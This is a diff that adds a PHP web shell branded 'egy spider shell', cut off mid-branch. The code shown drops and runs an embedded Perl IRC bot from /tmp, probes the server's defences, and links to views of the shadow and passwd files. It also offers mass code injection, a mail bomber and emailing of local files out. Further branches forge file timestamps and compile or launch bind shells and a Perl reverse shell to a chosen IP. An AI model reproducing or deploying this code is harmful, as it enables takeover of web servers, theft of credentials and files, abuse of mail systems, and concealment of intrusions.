+ \$DCC{\$send}{nick} = \$nick;
+ \$DCC{\$send}{bytes} = \$bytes;
+ \$DCC{\$send}{curbyte} = 0;
+ \$DCC{\$send}{arquivo} = \$arquivo;
+ \$DCC{\$send}{ip} = \$send->peerhost;
+ \$DCC{\$send}{porta} = \$send->peerport;
+ \$DCC{\$send}{status} = \"Enviando\";
+ #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
+ open(FILE, \"< \$arquivo\");
+ my \$fbytes;
+ read(FILE, \$fbytes, 1024);
+ print \$send \"\$fbytes\";
+ close FILE;
+# delete(\$DCC{\$fh});
+} elsif (\$dcctipo eq 'sendcon') {
+ my \$bytes_sended = unpack(\"N\", \$msg);
+ \$DCC{\$fh}{curbyte} = \$bytes_sended;
+ if (\$bytes_sended == \$bytes) {
+ \$fh->close;
+ \$dcc_sel->remove(\$fh);
+ \$DCC{\$fh}{status} = \"Enviado\";
+ \$DCC{\$fh}{ftime} = time;
+ next;
+ }
+ open(SENDFILE, \"< \$arquivo\");
+ seek(SENDFILE, \$bytes_sended, 0);
+ my \$send_bytes;
+ read(SENDFILE, \$send_bytes, 1024);
+ print \$fh \"\$send_bytes\";
+ close(SENDFILE);
+ }
+ }
+}
+##########################
+
+
+sub SEND {
+ my (\$nick, \$arquivo) = @_;
+ unless (-r \"\$arquivo\") {
+ return(0);
+ }
+
+
+ my \$dccark = \$arquivo;
+ \$dccark =~ s/[.*\/](\S+)/$1/;
+
+
+ my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
+ my \$longip = unpack(\"N\",inet_aton(\$meuip));
+
+
+ my @filestat = stat(\$arquivo);
+ my \$size_total=\$filestat[7];
+ if (\$size_total == 0) {
+ return(0);
+ }
+
+
+ my (\$porta, \$sendsock);
+ do {
+ \$porta = int rand(64511);
+ \$porta += 1024;
+ \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
+ } until \$sendsock;
+
+
+ \$DCC{\$sendsock}{tipo} = 'send';
+ \$DCC{\$sendsock}{nick} = \$nick;
+ \$DCC{\$sendsock}{bytes} = \$size_total;
+ \$DCC{\$sendsock}{arquivo} = \$arquivo;
+
+
+ &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
+
+
+}
+
+
+sub GET {
+ my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
+ return(0) if (-e \"\$arquivo\");
+ if (open(FILE, \"> \$arquivo\")) {
+ close FILE;
+ } else {
+ return(0);
+ }
+
+
+ my \$dccip=fixaddr(\$dcclongip);
+ return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
+ my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
+ \$dccsock->autoflush(1);
+ \$dcc_sel->add(\$dccsock);
+ \$DCC{\$dccsock}{tipo} = 'get';
+ \$DCC{\$dccsock}{itime} = time;
+ \$DCC{\$dccsock}{nick} = \$nick;
+ \$DCC{\$dccsock}{bytes} = \$bytes;
+ \$DCC{\$dccsock}{curbyte} = 0;
+ \$DCC{\$dccsock}{arquivo} = \$arquivo;
+ \$DCC{\$dccsock}{ip} = \$dccip;
+ \$DCC{\$dccsock}{porta} = \$dccporta;
+ \$DCC{\$dccsock}{status} = \"Recebendo\";
+}
+############################
+# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
+sub Status {
+ my \$socket = shift;
+ my \$sock_tipo = \$DCC{\$socket}{tipo};
+ unless (lc(\$sock_tipo) eq \"chat\") {
+ my \$nick = \$DCC{\$socket}{nick};
+ my \$arquivo = \$DCC{\$socket}{arquivo};
+ my \$itime = \$DCC{\$socket}{itime};
+ my \$ftime = time;
+ my \$status = \$DCC{\$socket}{status};
+ \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
+
+
+ my \$d_time = \$ftime-\$itime;
+
+
+ my \$cur_byte = \$DCC{\$socket}{curbyte};
+ my \$bytes_total = \$DCC{\$socket}{bytes};
+
+
+ my \$rate = 0;
+ \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
+ my \$porcen = (\$cur_byte*100)/\$bytes_total;
+
+
+ my (\$r_duv, \$p_duv);
+ if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
+ \$r_duv = $3; \$r_duv++ if $4 >= 5;
+ \$rate = \"$1\.$2\".\"\$r_duv\";
+ }
+ if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
+ \$p_duv = $3; \$p_duv++ if $4 >= 5;
+ \$porcen = \"$1\.$2\".\"\$p_duv\";
+ }
+ return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
+ }
+
+
+ return(0);
+}
+
+
+# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
+sub fixaddr {
+ my (\$address) = @_;
+
+
+ chomp \$address; # just in case, sigh.
+ if (\$address =~ /^\d+$/) {
+ return inet_ntoa(pack \"N\", \$address);
+ } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
+ return \$address;
+ } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
+ return inet_ntoa(((gethostbyname(\$address))[4])[0]);
+ } else {
+ return;
+ }
+}
+############################
+";
+$bot = "/tmp/ircs.pl";
+$open = fopen($bot,"w");
+fputs($open,$file);
+fclose($open);
+$cmd="perl $bot";
+$cmd2="rm $bot";
+system($cmd);
+system($cmd2);
+$_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
+
+
+}
+
+
+
+
+if(!isset($_COOKIE[$lang[$language.'_text137']])) {
+ $ust_u='';
+ if($unix && !$safe_mode){
+ foreach ($userful as $item) {
+ if(which($item)){$ust_u.=$item;}
+ }
+ }
+ if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
+ if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
+ if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
+ if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
+ if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
+ if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
+ if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
+ if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
+
+ $ust_u = trim($ust_u);
+}else {
+ $ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
+}
+
+
+if(!isset($_COOKIE[$lang[$language.'_text138']])) {
+ $ust_d='';
+ if($unix && !$safe_mode){
+ foreach ($danger as $item) {
+ if(which($item)){$ust_d.=$item;}
+ }
+ }
+ if(!$safe_mode){
+ foreach ($danger as $item) {
+ if(ps($item)){$ust_d.=$item;}
+ }
+ }
+ if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
+ if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
+
+ $ust_d = trim($ust_d);
+}else {
+ $ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
+}
+
+
+if(!isset($_COOKIE[$lang[$language.'_text142']])) {
+
+
+ $select_downloaders='<select size="1" name=with>';
+ if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
+ if($unix && !$safe_mode){
+ foreach ($downloaders as $item) {
+ if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";}
+ }
+ }
+ $select_downloaders .= '</select>';
+ if(substr($downloader,0,1)==",") {$downloader[0]="";}
+
+ $downloader=trim($downloader);
+
+
+}
+
+
+
+
+echo $head;
+echo '</head>';
+
+
+echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td bgcolor=#000000 width=120><font face=Comic Sans MS size=1>'.ws(2).'<DIV dir=ltr align=center><p><font style="font-weight: 500" face="Webdings" color="#800000" size="7">!</font></p>'.ws(2).'<DIV dir=ltr align=center><SPAN
+style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
+<SPAN
+style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">egy spider</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>'.
+
+
+'</center></font>'.$fe.'</td>'.'<td bgcolor=#333333><font face=#FFFFFF size=-2>';
+echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
+echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
+echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
+echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
+
+
+echo "<br>";
+
+
+echo ws(2)."PHP Version: <b>".@phpversion()."</b>";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
+echo "</b>".ws(2);
+echo "MySQL: <b>";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; }
+echo "</b>".ws(2);
+echo "MSSQL: <b>";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
+echo "</b>".ws(2);
+echo "PostgreSQL: <b>";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
+echo "</b>".ws(2);
+echo "Oracle: <b>";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
+echo "</b>".ws(2);
+echo "MySQLi: <b>";
+$mysqli_on = @function_exists('mysqli_connect');
+if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
+echo "</b>".ws(2);
+echo "MSQL: <b>";
+$msql_on = @function_exists('msql_connect');
+if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
+echo "</b>".ws(2);
+echo "SQLite: <b>";
+$sqlite_on = @function_exists('sqlite_open');
+if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
+echo "</b><br>".ws(2);
+
+
+echo "Safe_Mode: <b>";
+echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
+echo "</b>".ws(2);
+echo "Open_Basedir: <b>";
+if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
+else {echo "<font color=green>NONE</font></b>";}
+echo ws(2)."Safe_Exec_Dir: <b>";
+if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
+else {echo "<font color=red>ini_get disable!</font></b>";}
+echo ws(2)."Safe_Gid: <b>";
+if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
+else {echo "<font color=red>ini_get disable!</font></b>";}
+echo ws(2)."Safe_Include_Dir: <b>";
+if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
+else {echo "<font color=red>ini_get disable!</font></b>";}
+echo ws(2)."Sql.safe_mode: <b>";
+if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
+else {echo "<font color=red>ini_get disable!</font></b>";}
+
+
+echo "<br>".ws(2);
+echo "Disable Functions : <b>";$df='ini_get disable!';
+if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
+
+
+if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
+elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';}
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+echo "<br>".ws(2)."Free Space : <b>".view_size($free)."</b> Total Space: <b>".view_size($all)."</b>";
+
+
+
+
+if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";};
+
+
+if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";};
+
+
+if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";};
+
+
+
+
+echo "<br>".ws(2)."</b>";
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?' title=\"".$lang[$language.'_text160']."\"><b>Home</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?egy' title=\"".$lang[$language.'_text159']."\"><b>About EgY SpIdEr</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?news' title=\"".$lang[$language.'_text152']."\"><b>News</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?logout=1' title=\"".$lang[$language.'_text153']."\"><b>Logout</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=feedback' title=\"".$lang[$language.'_text180']."\"><b>Feedback & Contact Me </b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=qindx' title=\"".$lang[$language.'_text154']."\"><b>Quick index </b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=massbrowsersploit' title=\"".$lang[$language.'_text155']."\"><b>Mass Code Injection</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=showsrc' title=\"".$lang[$language.'_text156']."\"><b>File source </b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=zone' title=\"".$lang[$language.'_text157']."\"><b>Zone-h</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=encoder' title=\"".$lang[$language.'_text158']."\"><b>Hash Tools</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>PhpInfo</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>Php.Ini</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>Cpu</b></a> ".$rb;
+if(!$unix) {
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>SystemInfo</b></a> ".$rb;
+}else{
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>Syslog</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>Resolv</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>Hosts</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>Shadow</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>Passwd</b></a> ".$rb;
+}
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>Tmp</b></a> ".$rb;
+echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>Delete</b></a> ".$rb;
+
+
+if($unix && !$safe_mode)
+{
+ echo "<br>".ws(2)."</b>";
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>Procinfo</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>Version</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>Free</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>Dmesg</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>Vmstat</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>Interrupts</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>Realise1</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>Realise2</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
+
+
+ echo "<br>".ws(2)."</b>";
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>W</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>Who</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>Uptime</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>Last</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>Ps Aux</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>Service</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>Ifconfig</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>Netstat</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>Fstab</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>Fdisk</b></a> ".$rb;
+ echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb;
+}
+
+
+echo '</font></td></tr><table>
+<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
+<tr><td align=right width=100>';
+echo $font;
+
+
+if($unix){
+echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
+echo "</td><td>";
+echo "<font face=Verdana size=-2 color=red><b>";
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
+echo ws(3).ex('echo $OSTYPE')."<br>";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
+if(!empty($id)) { echo ws(3).$id."<br>"; }
+else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
+ {
+ $euserinfo = @posix_getpwuid(@posix_geteuid());
+ $egroupinfo = @posix_getgrgid(@posix_getegid());
+ echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
+ }
+else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
+echo ws(3).$dir;
+echo ws(3).'( '.perms(@fileperms($dir)).' )';
+echo "</b></font>";
+}
+else
+{
+echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
+echo "</td><td>";
+echo "<font face=Verdana size=-2 color=red><b>";
+echo ws(3).@substr(@php_uname(),0,120)."<br>";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
+echo ws(3).@getenv("USERNAME")."<br>";
+echo ws(3).$dir;
+echo "<br></font>";
+}
+echo "</font>";
+echo "</td></tr></table>";
+
+
+
+
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
+ {
+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
+ {
+ if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
+ else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
+ if(!empty($_POST['cmd']))
+ {
+ $filename = @basename($_POST['loc_file']);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ $attach = array(
+ "name"=>$filename,
+ "type"=>$mime_type,
+ "content"=>$filedump
+ );
+ if(empty($_POST['subj'])) { $_POST['subj'] = 'file from egy spider shell'; }
+ if(empty($_POST['from'])) { $_POST['from'] = 'egy_spider@hotmail.com'; }
+ $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
+ {
+ for($h=1;$h<=$_POST['mail_flood'];$h++){
+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
+ }
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(@mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
+ }
+ else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+
+
+
+
+if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
+{
+if(!$_POST['file_name_r'])
+ {
+ $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
+ $datar = @strtotime($datar);
+ @touch($_POST['file_name'],$datar,$datar);}
+else{
+ @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
+}
+$_POST['cmd']="";
+}
+
+
+
+
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
+ {
+ if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
+ elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; }
+ elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; }
+ elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };}
+ else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
+ if(!empty($_POST['cmd']))
+ {
+ echo $table_up3;
+ echo $font;
+ echo "<form name=save_file method=post>";
+ echo ws(3)."<b>".$_POST['e_name']."</b>";
+ echo "<div align=center><textarea name=e_text cols=121 rows=24>";
+ echo @htmlspecialchars($filedump);
+ echo "</textarea>";
+ echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>";
+ echo "<input type=hidden name=dir value='".$dir."'>";
+ echo "<input type=hidden name=cmd value=save_file>";
+ echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
+ echo "</div>";
+ echo "</font>";
+ echo "</form>";
+ echo "</td></tr></table>";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ $mtime = @filemtime($_POST['e_name']);
+ if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
+ else {
+ if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
+ morewrite($_POST['e_name'],$_POST['e_text']);
+ $_POST['cmd']="";
+ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
+ }
+ @touch($_POST['e_name'],$mtime,$mtime);
+ }
+
+
+
+if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
+{
+ cf($tempdir.'prxpl',$prx_pl);
+ $p2=which("perl");
+ $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
+ @unlink($tempdir.'prxpl');
+ $_POST['cmd']="ps -aux | grep prxpl";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf($tempdir.'bd.c',$port_bind_bd_c);
+ $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
+ @unlink($tempdir.'bd.c');
+ $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
+ @unlink($tempdir.'bd');
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf($tempdir.'bdpl',$port_bind_bd_pl);
+ $p2=which("perl");
+ $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
+ @unlink($tempdir.'bdpl');
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf($tempdir.'back',$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
+ @unlink($tempdir.'back');
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
